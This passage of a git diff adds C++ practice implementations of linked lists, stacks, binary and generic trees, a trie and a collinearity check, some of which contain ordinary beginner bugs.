*l1,Node *l2) +{ + if(l1==nullptr || l2==nullptr) + { + return l1 != nullptr?l1:l2; + } + + Node *d=new Node(-1); + Node *c1=l1, *c2=l2, *p=d; + while(c1!=nullptr && c2!=nullptr) + { + if(c1->data < c2->data) + { + p->next=c1; + c1=c1->next; + } + else{ + p->next=c2; + c2=c2->next; + } + p=p->next; + } + + if(c1==nullptr) + { + p->next=c2; + } + else + { + p->next=c1; + } + + return d->next; + +} + +Node *Mid(Node *head) +{ + if(head==nullptr || head->next==nullptr) + { + return head; + } + Node *f=head , *s=head; + while(f->next && f->next->next) + { + f=f->next->next; + s-s->next; + } + + return s; +} + +Node *mergesort(Node *head) +{ + if(head==nullptr || head->next==nullptr) + { + return head; + } + Node *mid=Mid(head); + Node *nh=mid->next; + mid->next=NULL; + + Node *l1=mergesort(head); + Node *l2=mergesort(nh); + + return MergeLL(l1,l2); +} + +int main() +{ + int n; + cin>>n; + Node* head=NULL, *head1=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + + disp(head); + cout< +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" - > "; + k=k->next; + } + return; +} + +Node *sep(Node *head) +{ + if(head==NULL || head->next == NULL) + { + return head; + } + + Node *DE=new Node(-1); + Node *DO=new Node(-1); + Node *et=DE, *ot=DO, *curr=head; + while(curr!=nullptr) + { + if( (curr->data) %2 == 0) + { + et->next=curr; + et=et->next; + } + else + { + ot->next=curr; + ot=ot->next; + } + + curr=curr->next; + } + + ot->next=nullptr; + et->next=DO->next; + return DE->next; +} + + +int main() +{ + int n; + cin>>n; + Node* head=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + + disp(head); + cout< +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" "; + k=k->next; + } + return; +} + +Node *RemDupli(Node *head) +{ + if(head==NULL||head->next==nullptr) + { + return head; + } + + Node* temp=head; + for(Node *curr=head->next;curr!=nullptr;curr=curr->next) + { + if(curr->data==temp->data) + { + temp->next=curr->next; + } + else + { + temp=curr; + } + } +} + + +int main() +{ + int n; + cin>>n; + Node* head=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + + disp(head); + + RemDupli(head); + + cout< +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" -> "; + k=k->next; + } + return; +} + +Node* Rev(Node *head, int k) +{ + Node*curr=head; + Node* prev=nullptr,*next=nullptr; + int count=0; + while(curr!=nullptr && count< k) + { + next=curr->next; + curr->next=prev; + prev=curr; + curr=next; + count++; + } + if(next!=nullptr) + { + Node *rh=Rev(next,k); + head->next=rh; + } + return prev; +} + + +int main() +{ + int n; + cin>>n; + Node* head=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + + //disp(head); + int k; + cin>>k; + head=Rev(head,k); + cout< +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" "; + k=k->next; + } + return; +} + +Node *Reverse(Node *head) +{ + + if(head==nullptr||head->next==nullptr) + { + return head; + } + + Node *k=Reverse(head->next); + Node *t=head->next; + t->next=head; + head->next=nullptr; + return k; +} + +int main() +{ + int n; + cin>>n; + Node* head=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + //disp(head); + + cout< +using namespace std; + +struct Node +{ + int data; + Node *next; + Node(int x) + { + data=x; + next=NULL; + } +}; + +Node* Iend(Node *head,int x) +{ + Node *temp=new Node(x); + if(head==NULL) + return temp; + Node *curr=head; + while(curr->next!=nullptr) + { + curr=curr->next; + } + curr->next=temp; + return head; + +} + +void disp(Node* head) +{ + Node* k=head; + if(head == nullptr) + { + cout<<"The LL is Empty"; + return; + } + while(k!=nullptr) + { + cout<data<<" "; + k=k->next; + } + return; +} +Node *findM(Node *head) +{ + if(head == nullptr || head!=nullptr) + { + return head; + } + Node *f=head, *s=head; + while(f->next != nullptr && f->next->next !=nullptr) + { + s=s->next; + f=f->next->next; + } + return s; +} + +Node *Reverse(Node *head) +{ + if(head==nullptr||head->next==nullptr) + { + return head; + } + + Node *k=Reverse(head->next); + Node *t=head->next; + t->next=head; + head->next=nullptr; + return k; +} + +bool Palindrome(Node *head) +{ + if(head == NULL || head->next == nullptr) + { + return head; + } + Node *mid=findM(head); + Node *nh=mid->next; + // cout<data<<" "<next->data; + mid->next=nullptr; + nh=Reverse(nh); + Node *i=head,*j=nh; + bool flag=true; + while(i != nullptr && j!=nullptr) + { + if(i->data != j->data) + { + flag=false; + break; + } + i=i->next; + j=j->next; + } + + nh=Reverse(nh); + mid->next=nh; + + return flag; +} + +int main() +{ + int n; + cin>>n; + Node* head=NULL; + for(int i=1;i<=n;i++) + { + int k; + cin>>k; + head=Iend(head,k); + } + + if(Palindrome(head)) + { + cout<<"The LL is Palindromic"; + } + else + { + cout<<"The LL is not Palindromic"; + } + + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Stack Using Arrays/stack.cpp b/CPP/Data Structures/Stack Using Arrays/stack.cpp new file mode 100644 index 000000000..37715c7d0 --- /dev/null +++ b/CPP/Data Structures/Stack Using Arrays/stack.cpp @@ -0,0 +1,25 @@ +#include +#include "stackClass.cpp" +using namespace std; + +// dynamic stack, changes it size acc to input + +int main (){ + stack s1(5); + for (int i=0;i<5;i++){ + s1.push(i+1); + } + s1.display(); + stack s2(5); + s2.push('h'); + s2.display(); + + s1.push(6); + s1.push(7); + s1.display(); + cout << s1.getSize(); + cout << endl; + stack s3; + cout << s3.getSize(); + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Stack Using Arrays/stackClass.cpp b/CPP/Data Structures/Stack Using Arrays/stackClass.cpp new file mode 100644 index 000000000..5030e7f55 --- /dev/null +++ b/CPP/Data Structures/Stack Using Arrays/stackClass.cpp @@ -0,0 +1,75 @@ +#include +#include +using namespace std; + +template +class stack { + t * p; + int top; + int size; + public : + + stack(int size = 10){ + top = -1; + this -> size = size; + p = new t[size]; + } + + int getSize(){ + return size; + } + + int getTop(){ + return top; + } + + bool isEmpty(){ + if (top == -1){ + return true; + }else { + return false; + } + } + + bool isFull(){ + if (top == size - 1){ + return true; + }else { + return false; + } + } + + void push(int data){ + if (isFull()){ + t * a = new t[size*2]; + int i; + for (i=0;i +using namespace std; + +template +class node { + public: + + v data; + node * next; + + node(v data){ + this -> data = data; + next = NULL; + } +}; diff --git a/CPP/Data Structures/Stack Using Linked List/stack.cpp b/CPP/Data Structures/Stack Using Linked List/stack.cpp new file mode 100644 index 000000000..f9b02c829 --- /dev/null +++ b/CPP/Data Structures/Stack Using Linked List/stack.cpp @@ -0,0 +1,21 @@ +#include +#include "stackUsingLL.cpp" +using namespace std; + + +int main (){ + stack s1; + s1.push(1); + s1.push(2); + s1.push(3); + cout << s1.getSize() << endl; + s1.display(); + s1.pop(); + cout << s1.getSize() << endl; + s1.display(); + + stack s2; + s2.push('h'); + s2.display(); + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Stack Using Linked List/stackUsingLL.cpp b/CPP/Data Structures/Stack Using Linked List/stackUsingLL.cpp new file mode 100644 index 000000000..6d5f683fe --- /dev/null +++ b/CPP/Data Structures/Stack Using Linked List/stackUsingLL.cpp @@ -0,0 +1,58 @@ +#include +#include "nodeClass.cpp" +using namespace std; + + + +template +class stack{ + node * head; + node * tail; + + int length; + + public: + stack(){ + head = NULL; + tail = NULL; + length = 0; + } + + void push(t data){ + node * newNode = new node(data); + if (head == NULL){ + head = newNode; + tail = newNode; + }else { + tail -> next = newNode; + tail = newNode; + } + length++; + } + + t pop(){ + node * temp = head; + while (temp -> next != tail){ + temp = temp -> next; + } + t data = tail -> data; + temp -> next = NULL; + tail = temp; + length--; + return data; + } + + void display(){ + node * temp = head; + while (temp != NULL){ + cout << temp -> data << " "; + temp = temp -> next; + } + cout << endl; + } + + int getSize(){ + return length; + } + +}; \ No newline at end of file diff --git a/CPP/Data Structures/Trees/Binary Trees/Diagonal_Traversal_of_a_binary_tree.cpp b/CPP/Data Structures/Trees/Binary Trees/Diagonal_Traversal_of_a_binary_tree.cpp new file mode 100644 index 000000000..7faef435d --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/Diagonal_Traversal_of_a_binary_tree.cpp @@ -0,0 +1,144 @@ +// { Driver Code Starts +#include +using namespace std; +#define MAX_HEIGHT 100000 + +// Tree Node +struct Node +{ + int data; + Node* left; + Node* right; +}; + +// Utility function to create a new Tree Node +Node* newNode(int val) +{ + Node* temp = new Node; + temp->data = val; + temp->left = NULL; + temp->right = NULL; + + return temp; +} + + +vector diagonal(Node *root); + +// Function to Build Tree +Node* buildTree(string str) +{ + // Corner Case + if(str.length() == 0 || str[0] == 'N') + return NULL; + + // Creating vector of strings from input + // string after spliting by space + vector ip; + + istringstream iss(str); + for(string str; iss >> str; ) + ip.push_back(str); + + // Create the root of the tree + Node* root = newNode(stoi(ip[0])); + + // Push the root to the queue + queue queue; + queue.push(root); + + // Starting from the second element + int i = 1; + while(!queue.empty() && i < ip.size()) { + + // Get and remove the front of the queue + Node* currNode = queue.front(); + queue.pop(); + + // Get the current node's value from the string + string currVal = ip[i]; + + // If the left child is not null + if(currVal != "N") { + + // Create the left child for the current node + currNode->left = newNode(stoi(currVal)); + + // Push it to the queue + queue.push(currNode->left); + } + + // For the right child + i++; + if(i >= ip.size()) + break; + currVal = ip[i]; + + // If the right child is not null + if(currVal != "N") { + + // Create the right child for the current node + currNode->right = newNode(stoi(currVal)); + + // Push it to the queue + queue.push(currNode->right); + } + i++; + } + + return root; +} + + + +int main() { + int t; + string tc; + getline(cin, tc); + t=stoi(tc); + while(t--) + { + string s ,ch; + getline(cin, s); + Node* root = buildTree(s); + + vector diagonalNode = diagonal(root); + for(int i = 0;i>&m,int d) +{ + if(!root) + return; + m[d].push_back(root->data); + preorder(root->left,m,d+1); + preorder(root->right,m,d); +} +vector diagonal(Node *root) +{ + vectorv; + int d=0; + map>m; + preorder(root,m,d); + for(auto x:m) + { + for(auto y:x.second) + { + v.push_back(y); + } + } + return v; +} diff --git a/CPP/Data Structures/Trees/Binary Trees/Lowest Common Ancestor of Deepest Leaves.cpp b/CPP/Data Structures/Trees/Binary Trees/Lowest Common Ancestor of Deepest Leaves.cpp new file mode 100644 index 000000000..c18843e97 --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/Lowest Common Ancestor of Deepest Leaves.cpp @@ -0,0 +1,73 @@ +/*Given the root of a binary tree, return the +lowest common ancestor of its deepest leaves.*/ + +//Input:- + +/* 0 + / \ + 1 3 + \ + 2 +*/ + +//Output:- 2 + +/*Explanation:- The deepest leaf node in the tree is 2, + the lca of one node is itself.*/ +#include +using namespace std; + + // Definition for a binary tree node. + + struct TreeNode { + int val; + TreeNode *left; + TreeNode *right; + TreeNode() : val(0), left(nullptr), right(nullptr) {} + TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} + TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} + }; +class Solution { +public: + pair solve(TreeNode* root){ + if(root==NULL){ + return {root,0}; + } + auto l=solve(root->left); + auto r=solve(root->right); + //if the left level == right level then the lca is itself, as it is the deepest level. + if(l.second==r.second){ + return {root,l.second+1}; + } + //if left level is greater then left child is the lca + //vice-versa + if(l.second>r.second){ + return {l.first,l.second+1}; + } + return {r.first,r.second+1}; + } + TreeNode* lcaDeepestLeaves(TreeNode* root) { + return solve(root).first; + } +}; +//Printing in preorder +void preorder(TreeNode* root){ + if(root==NULL){ + return ; + } + cout<val<<" "; + preorder(root->left); + preorder(root->right); + +} +int main(){ + struct TreeNode* root=new TreeNode(0); + root->left=new TreeNode(1); + root->right=new TreeNode(3); + root->left->right=new TreeNode(2); + Solution obj; + struct TreeNode* node=obj.lcaDeepestLeaves(root); + preorder(node); + return 0; +} + diff --git a/CPP/Data Structures/Trees/Binary Trees/TreeTraversal.cpp b/CPP/Data Structures/Trees/Binary Trees/TreeTraversal.cpp new file mode 100644 index 000000000..cf3a198b6 --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/TreeTraversal.cpp @@ -0,0 +1,76 @@ +//TREE TRAVERSAL +#include +#include +using namespace std; +struct node{ + int data; + node* left; + node* right; +}; + +node* newNode(int key) +{ + node* tmp = new node(); + tmp->data = key; + tmp->left = tmp->right = nullptr; + + return tmp; +} + +//INSERTION +node* insert(node* root, int l_data){ + if(root == nullptr){ + return newNode(l_data); + } + if(l_data <= root->data){ + root->left = insert(root->left, l_data); + }else{ + root->right = insert(root->right, l_data); + } + return root; +} + +//INORDER TRAVERSAL +void inorder(node* root){ + if(root == nullptr){ + return; + } + inorder(root->left); + cout<data<<" "; + inorder(root->right); +} + +//PREORDER TRAVERSAL +void preOrder(node* root){ + if(root == nullptr){ + return; + } + cout<data<<" "; + preOrder(root->left); + preOrder(root->right); +} + +//POSTORDER TRAVERSAL +void postOrder(node* root){ + if(root == nullptr){ + return; + } + postOrder(root->left); + postOrder(root->right); + cout<data<<" "; +} + +int main(){ + node *root = newNode(1); + + root->left = newNode(2); + root->right = newNode(3); + root->left->left = newNode(4); + root->left->right = newNode(5); + cout<<"\n Pre order transversal: "; + preOrder(root); + cout<<"\n Inorder transversal: "; + inorder(root); + cout<<"\n Post order transversal: "; + postOrder(root); +} diff --git a/CPP/Data Structures/Trees/Binary Trees/binaryTreeNode.h b/CPP/Data Structures/Trees/Binary Trees/binaryTreeNode.h new file mode 100644 index 000000000..02443dad8 --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/binaryTreeNode.h @@ -0,0 +1,17 @@ +template +class binarynode { + public: + t data; + binarynode * left; + binarynode * right; + + binarynode(t data){ + this -> data = data; + left = right = NULL; + } + ~binarynode(){ + delete left; + delete right; + } + +}; \ No newline at end of file diff --git a/CPP/Data Structures/Trees/Binary Trees/binaryTress.cpp b/CPP/Data Structures/Trees/Binary Trees/binaryTress.cpp new file mode 100644 index 000000000..cf2ce5a1c --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/binaryTress.cpp @@ -0,0 +1,62 @@ +#include +using namespace std; +#include +#include +#include "binaryTreeNode.h" + +binarynode * takeInput(){ // level wise input + cout << "Enter the root data : "; + int rootData; + cin >> rootData; + binarynode * root = new binarynode(rootData); + queue *> q1; + q1.push(root); + while(q1.size() != 0){ + binarynode * front = q1.front(); + q1.pop(); + cout << "Enter the left child of " << front -> data << " : "; + cin >> rootData; + binarynode * leftChild = (rootData != -1) ? new binarynode(rootData) : NULL; + cout << "Enter the right child of " << front -> data << " : "; + cin >> rootData; + binarynode * rightChild = (rootData != -1) ? new binarynode(rootData) : NULL; + front -> left = leftChild; + front -> right = rightChild; + if (leftChild != NULL) q1.push(leftChild); + if (rightChild !=NULL) q1.push(rightChild); + } + return root; +} + +void printTree(binarynode * root){ + if (root == NULL) return; + cout << root -> data << " : "; + if (root -> left != NULL){ + cout << "L " << root -> left -> data << " , "; + } + if (root -> right != NULL){ + cout << "R " < right -> data << " "; + } + cout << endl; + printTree(root -> left); + printTree(root -> right); +} + +int height(binarynode * root){ // cn way, better way infact the best way + if (root == NULL) return 0; + return 1 + max(height(root -> left), height(root -> right)); +} + +int countNoOfNodes(binarynode * root){ // well done + if (root == NULL) return 0; + int count = 1; // on account of root node + count += countNoOfNodes(root -> left) + countNoOfNodes(root -> right); + return count; +} + +int main (){ + binarynode * root = takeInput(); + printTree(root); + cout << "Height of the tree is : " << height(root); + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Trees/Binary Trees/find_diameter_binary_trees.cpp b/CPP/Data Structures/Trees/Binary Trees/find_diameter_binary_trees.cpp new file mode 100644 index 000000000..86e91a8a9 --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/find_diameter_binary_trees.cpp @@ -0,0 +1,58 @@ +// C++ program to find the diameter of a Binary Tree +#include +using namespace std; + +struct node { + int data; + struct node *left, *right; +}; + +struct node* newNode(int data); + +int diameterOpt(struct node* root, int* height) +{ + int lh = 0, rh = 0; + + int ldiameter = 0, rdiameter = 0; + + if (root == NULL) { + *height = 0; + return 0; + } + + ldiameter = diameterOpt(root->left, &lh); + rdiameter = diameterOpt(root->right, &rh); + + *height = max(lh, rh) + 1; + + return max(lh + rh + 1, max(ldiameter, rdiameter)); +} + +struct node* newNode(int data) +{ + struct node* node + = (struct node*)malloc(sizeof(struct node)); + node->data = data; + node->left = NULL; + node->right = NULL; + + return (node); +} + +// Driver Code +int main() +{ + + struct node* root = newNode(1); + root->left = newNode(2); + root->right = newNode(3); + root->left->left = newNode(4); + root->left->right = newNode(5); + + int height = 0; + cout << "Diameter of the given binary tree is " << diameterOpt(root, &height); + + return 0; +} + + diff --git a/CPP/Data Structures/Trees/Binary Trees/is-balanced-binary-tree b/CPP/Data Structures/Trees/Binary Trees/is-balanced-binary-tree new file mode 100644 index 000000000..641f2f8a5 --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/is-balanced-binary-tree @@ -0,0 +1,110 @@ +#include +using namespace std; + +class node +{ +public: + int data; + node *left; + node *right; + + node(int d) + { + data = d; + left = right = NULL; + } +}; + +node *CreateTree() +{ + string v; + cin >> v; + + if (v == "n") + { + return NULL; + } + + int w=stoi(v); + node *root = new node(w); + root->left = CreateTree(); + root->right = CreateTree(); + return root; +} + + + + void display(node *root) { + if(root==NULL) + { + return; + } + + string str = ""; + str += (root->left) == NULL ? "." : to_string(root->left->data) + ""; + str += " <- " + to_string(root->data) + " -> "; + str += (root->right) == NULL ? "." : to_string(root->right->data) + ""; + cout<left); + display(root->right); + } + + int height(node *root) { + if(root == NULL){ + return -1; + } + + int lh = height(root->left); + int rh = height(root->right); + int th = max(lh, rh) + 1; + return th; + } + +bool isBalanced(node* root, int* height) +{ + + /* lh --> Height of left subtree + rh --> Height of right subtree */ + int lh = 0, rh = 0; + + /* l will be true if left subtree is balanced + and r will be true if right subtree is balanced */ + int l = 0, r = 0; + + if (root == NULL) { + *height = 0; + return 1; + } + + /* Get the heights of left and right subtrees in lh and rh + And store the returned values in l and r */ + l = isBalanced(root->left, &lh); + r = isBalanced(root->right, &rh); + + /* Height of current node is max of heights of left and + right subtrees plus 1*/ + *height = (lh > rh ? lh : rh) + 1; + + /* If difference between heights of left and right + subtrees is more than 2 then this node is not balanced + so return 0 */ + if (abs(lh - rh) >= 2) + return 0; + + /* If this node is balanced and left and right subtrees + are balanced then return true */ + else + return l && r; +} + +int main() +{ + int p;cin>>p; + node *root = CreateTree(); + int height = 0; + if (isBalanced(root,&height)) + cout << "true"; + else + cout << "false"; +} diff --git a/CPP/Data Structures/Trees/Binary Trees/levelorder-binarytree b/CPP/Data Structures/Trees/Binary Trees/levelorder-binarytree new file mode 100644 index 000000000..f049eeb6d --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/levelorder-binarytree @@ -0,0 +1,68 @@ +#include +using namespace std; + +class node +{ +public: + int data; + node *left; + node *right; + + node(int d) + { + data = d; + left = right = NULL; + } +}; + +node *CreateTree() +{ + string v; + cin >> v; + + if (v == "n") + { + return NULL; + } + + int w=stoi(v); + node *root = new node(w); + root->left = CreateTree(); + root->right = CreateTree(); + return root; +} + +void levelorder(node *root) +{ + queue mq; + mq.push(root); + + while(mq.size()>0) + { + int cicl=mq.size(); + + for(int i=0;idata<<" "; + + if(root->left != NULL){ + mq.push(root->left); + } + + if(root->right != NULL){ + mq.push(root->right); + } + } + cout<>p; + node *root = CreateTree(); + levelorder(root); + return 0; +} diff --git a/CPP/Data Structures/Trees/Binary Trees/maximum_depth_Binarytree.cpp b/CPP/Data Structures/Trees/Binary Trees/maximum_depth_Binarytree.cpp new file mode 100644 index 000000000..d58c85076 --- /dev/null +++ b/CPP/Data Structures/Trees/Binary Trees/maximum_depth_Binarytree.cpp @@ -0,0 +1,21 @@ +/** + * Definition for a binary tree node. + * struct TreeNode { + * int val; + * TreeNode *left; + * TreeNode *right; + * TreeNode() : val(0), left(nullptr), right(nullptr) {} + * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} + * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} + * }; + */ + +class Solution { +public: + int cnt=0; + int maxDepth(TreeNode* root) { + if(!root) return 0; + return max(maxDepth(root->left),maxDepth(root->right))+1; + + } +}; diff --git a/CPP/Data Structures/Trees/Generic Trees/are-generic-trees-similar b/CPP/Data Structures/Trees/Generic Trees/are-generic-trees-similar new file mode 100644 index 000000000..3d41d9c60 --- /dev/null +++ b/CPP/Data Structures/Trees/Generic Trees/are-generic-trees-similar @@ -0,0 +1,149 @@ +#include +#include +#include + +using namespace std; + +struct Node +{ + int data; + vector children; +}; + +Node *construct(int arr[], int n) +{ + Node *root = NULL; + stack st; + for (int i = 0; i < n; i++) + { + if (arr[i] == -1) + { + if (st.size() != 0) + st.pop(); + } + else + { + Node *t = new Node(); + t->data = arr[i]; + + if (st.size() > 0) + { + Node *top = st.top(); + top->children.push_back(t); + } + + else + { + root = t; + } + st.push(t); + } + } + return root; +}; + +int size(Node *node) +{ + int s = 0; + + for (int i = 0; i < node->children.size(); i++) + { + s += size(node->children[i]); + } + s += 1; + + return s; +} + +vector galvin(Node *root, int b){ + if(root->data == b){ + vector path; + path.push_back(root->data); + return path; + } + + for(Node *child: root->children){ + vector ptc = galvin(child, b); + if(ptc.size() > 0){ + ptc.push_back(root->data); + return ptc; + } + } + return vector(); + + + } + + int distanceBetweenNodes(Node *root, int d1, int d2){ + vector p1=galvin(root, d1); + vector p2=galvin(root, d2); + + int i = p1.size() - 1; + int j = p2.size() - 1; + + while(i >= 0 && j >= 0 && p1[i] == p2[j]){ + i--; + j--; + } + + + return i+1 + j+1; + } + + + bool areSimilar(Node *root,Node *node) + { + if(root->children.size()!=node->children.size()) + return false; + + for (int i = 0; i < node->children.size() ; i++) { + Node *c1 = root->children[i]; + Node *c2 = node->children[i]; + if (areSimilar(c1, c2) == false) { + return false; + } + } + + return true; + } + + +void display(Node *root) +{ + if(root == NULL)return; + string str = to_string(root->data) + "->"; + for (Node* child : root->children) + { + str +=to_string(child->data) + ","; + } + str += "."; + //cout << (str) << endl; + + // for (Node * child : root->children) + // { + // display(child); + // } +} + +int main() +{ + int n; + cin >> n; + int arr[n]; + for (int i = 0; i < n; i++) + cin >> arr[i]; + + int m;cin>>m; + int brr[m]; + for (int i = 0; i < m; i++) + cin >> brr[i]; + + Node *root = construct(arr, n); + Node *node = construct(brr,m); + bool a = areSimilar(root,node); + if(a==1) + cout<<"true"< +#include +#include + +using namespace std; + +struct Node +{ + int data; + vector children; +}; + +Node *construct(int arr[], int n) +{ + Node *root = NULL; + stack st; + for (int i = 0; i < n; i++) + { + if (arr[i] == -1) + { + if (st.size() != 0) + st.pop(); + } + else + { + Node *t = new Node(); + t->data = arr[i]; + + if (st.size() > 0) + { + Node *top = st.top(); + top->children.push_back(t); + } + + else + { + root = t; + } + st.push(t); + } + } + return root; +}; + +int size(Node *node) +{ + int s = 0; + + for (int i = 0; i < node->children.size(); i++) + { + s += size(node->children[i]); + } + s += 1; + + return s; +} + +vector galvin(Node *root, int b){ + if(root->data == b){ + vector path; + path.push_back(root->data); + return path; + } + + for(Node *child: root->children){ + vector ptc = galvin(child, b); + if(ptc.size() > 0){ + ptc.push_back(root->data); + return ptc; + } + } + return vector(); + + + } + + int distanceBetweenNodes(Node *root, int d1, int d2){ + vector p1=galvin(root, d1); + vector p2=galvin(root, d2); + + int i = p1.size() - 1; + int j = p2.size() - 1; + + while(i >= 0 && j >= 0 && p1[i] == p2[j]){ + i--; + j--; + } + + + return i+1 + j+1; + } + + + bool areSimilar(Node *root,Node *node) + { + if(root->children.size()!=node->children.size()) + return false; + + for (int i = 0; i < node->children.size() ; i++) { + Node *c1 = root->children[i]; + Node *c2 = node->children[i]; + if (areSimilar(c1, c2) == false) { + return false; + } + } + + return true; + } + + +void display(Node *root) +{ + if(root == NULL)return; + string str = to_string(root->data) + "->"; + for (Node* child : root->children) + { + str +=to_string(child->data) + ","; + } + str += "."; + //cout << (str) << endl; + + // for (Node * child : root->children) + // { + // display(child); + // } +} + + +static int dia=0; + +int diameter(Node *root) +{ + int ht=-1; + int sh=-1; + + for (Node *child : root->children) { + int ch = diameter(child); + if (ch >= ht) { + sh = ht; + ht = ch; + } else if (ch >= sh) { + sh = ch; + } + } + + if (sh + ht + 2 > dia) { + dia = sh + ht + 2; + } + + ht += 1; + return ht; + + +} + + +int main() +{ + int n; + cin >> n; + int arr[n]; + for (int i = 0; i < n; i++) + cin >> arr[i]; + Node *root = construct(arr, n); + dia = 0; + diameter(root); + cout< +#include "treenode.h" +#include +using namespace std; + +treenode * takeInput(){ // level wise input + int rootData; + cout << "Enter The Data of the Root Element : "; + cin >> rootData; + treenode * root = new treenode (rootData); + queue *> q1; + q1.push(root); + while(q1.size() != 0){ + treenode* front = q1.front(); + q1.pop(); + int noOfChildren; + cout << "Enter the no of children of "<< front -> data << " : "; + cin >> noOfChildren; + for (int i =0;idata << " : "; + cin >> nodeData; + treenode * newNode = new treenode(nodeData); + front -> children.push_back(newNode); + q1.push(newNode); + } + } + return root; +} + +void printTree(treenode * root){ + if (root == NULL){ + return; + } + cout << root -> data << " : "; + for (int i =0;i children.size();i++){ + cout << root -> children[i]->data << " , "; + } + cout << endl; + for (int i =0;i children.size() ; i++){ + printTree(root -> children[i]); + } +} + +int noOFNodes(treenode * root){ + int sum = 1; // on account of the root node + for (int i =0;i children.size();i++){ + sum += noOFNodes(root -> children[i]); + } + return sum; +} + +int main(){ + treenode * root = takeInput(); + printTree(root); + cout << "The no of nodes are : " << noOFNodes(root); + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/Trees/Generic Trees/treenode.h b/CPP/Data Structures/Trees/Generic Trees/treenode.h new file mode 100644 index 000000000..a444d0cf2 --- /dev/null +++ b/CPP/Data Structures/Trees/Generic Trees/treenode.h @@ -0,0 +1,19 @@ +#include +using namespace std; + +template +class treenode{ + public: + t data; + vector *> children; + + treenode(t data){ + this -> data = data; + } + + ~treenode(){ + for (int i =0;i +using namespace std; + +const int ALPHABET_SIZE = 26; + +// trie node +struct TrieNode +{ + struct TrieNode *children[ALPHABET_SIZE]; + + // isEndOfWord is true if the node represents + // end of a word + bool isEndOfWord; +}; + +// Returns new trie node (initialized to NULLs) +struct TrieNode *getNode(void) +{ + struct TrieNode *pNode = new TrieNode; + + pNode->isEndOfWord = false; + + for (int i = 0; i < ALPHABET_SIZE; i++) + pNode->children[i] = NULL; + + return pNode; +} + +// If not present, inserts key into trie +// If the key is prefix of trie node, just +// marks leaf node +void insert(struct TrieNode *root, string key) +{ + struct TrieNode *pCrawl = root; + + for (int i = 0; i < key.length(); i++) + { + int index = key[i] - 'a'; + if (!pCrawl->children[index]) + pCrawl->children[index] = getNode(); + + pCrawl = pCrawl->children[index]; + } + + // mark last node as leaf + pCrawl->isEndOfWord = true; +} + +// Returns true if key presents in trie, else +// false +bool search(struct TrieNode *root, string key) +{ + struct TrieNode *pCrawl = root; + + for (int i = 0; i < key.length(); i++) + { + int index = key[i] - 'a'; + if (!pCrawl->children[index]) + return false; + + pCrawl = pCrawl->children[index]; + } + + return (pCrawl != NULL && pCrawl->isEndOfWord); +} + +// Driver +int main() +{ + // Input keys (use only 'a' through 'z' + // and lower case) + string keys[] = {"the", "a", "there", + "answer", "any", "by", + "bye", "their" }; + int n = sizeof(keys)/sizeof(keys[0]); + + struct TrieNode *root = getNode(); + + // Construct trie + for (int i = 0; i < n; i++) + insert(root, keys[i]); + + // Search for different keys + search(root, "the")? cout << "Yes\n" : + cout << "No\n"; + search(root, "these")? cout << "Yes\n" : + cout << "No\n"; + return 0; +} \ No newline at end of file diff --git a/CPP/Data Structures/collinearity.cpp b/CPP/Data Structures/collinearity.cpp new file mode 100644 index 000000000..fb5d5e22e --- /dev/null +++ b/CPP/Data Structures/collinearity.cpp @@ -0,0 +1,62 @@ +// C++ program to check collinearity of three given points +#include +using namespace std; + +struct Point { + int x; + int y; +}; + +/* +We can calculate the area formed by the three points, and if the area is +zero then they lie on a same line. +*/ +bool check_collinear(Point a, Point b, Point c) { + int area = 0; + + /* + The Area of a 